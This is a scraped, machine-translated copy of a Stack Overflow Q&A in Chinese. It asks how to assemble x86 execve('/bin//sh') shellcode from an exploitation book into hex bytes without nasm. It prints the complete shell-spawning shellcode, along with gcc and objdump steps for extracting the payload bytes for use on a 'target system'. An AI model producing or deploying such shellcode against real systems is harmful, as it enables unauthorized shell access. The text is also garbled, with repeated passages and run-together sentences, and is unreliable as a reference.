Linux 如何编译英特尔x86汇编代码以获得十六进制转储?
我有以下汇编代码从Erickson的《利用漏洞》一书中生成一个shell:Linux 如何编译英特尔x86汇编代码以获得十六进制转储?,linux,assembly,hexdump,Linux,Assembly,Hexdump,我有以下汇编代码从Erickson的《利用漏洞》一书中生成一个shell: ; execve(const char *filename, char *const argv [], char *const envp[]) xor eax, eax ; Zero out eax. push eax ; Push some nulls for string termination. push 0x68732f2f ; Push "//sh" to the stack. push 0x6e69622f
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.
但是,我的linux机器没有nasm,要获得它,我需要让管理员下载包。有没有其他方法可以让这个变成十六进制?我知道GCC使用AT&T,但我不知道任何支持Intel x86的方法。也许在线汇编程序可以帮助:
也许在线汇编程序可以帮助:
要仅获取十六进制转储,不需要有效的可执行文件。在您的情况下,没有重新定位我认为在您的操作系统上使用您的汇编程序在家组装代码没有问题,获得十六进制转储并在目标系统上使用它。只需注意i386或x86_64的体系结构 以下是在Linux上获取十六进制转储的步骤: test.s小写'.s' 考虑更改评论标志;对 构建并获取十六进制转储:
gcc -m32 -c test.s
objdump -F -s -j.text test.o
您还可以使用gdb test.o和disass/r\u start只获取一个十六进制转储文件,而不需要有效的可执行文件。在您的情况下,没有重新定位我认为在您的操作系统上使用您的汇编程序在家组装代码没有问题,获得十六进制转储并在目标系统上使用它。只需注意i386或x86_64的体系结构 以下是在Linux上获取十六进制转储的步骤: test.s小写'.s' 考虑更改评论标志;对 构建并获取十六进制转储:
gcc -m32 -c test.s
objdump -F -s -j.text test.o
你也可以使用gdb test.o和disass/r_start看看这是否有效,如果你觉得让你的管理员让你下载nasm太麻烦,你可以用AT&t语法重写代码。请原谅我的Linux foo,那是gcc assem.s-masm=intel objFileToGetHexed.o吗?我正在运行一个没有这样的文件或目录的.o文件,这对我来说没有意义…不,我相信你会把它添加到你的源文件中。你不能安装nasm吗,也许是从源代码编译并将其安装到您的私有目录中,例如$HOME/bin/??如果这不起作用,并且您觉得让管理员允许您下载nasm太麻烦,您可以用AT&t语法重写代码。请原谅我的Linux foo,但这是gcc assem.s-masm=intel objFileToGetHexed.o吗?我遇到了一个没有这样的文件或目录的.o文件,这对我来说没有意义…不,我相信你会将其添加到源文件中。你不能安装nasm吗?也许可以从源代码编译它并将其安装到你的私有目录中,例如$HOME/bin/??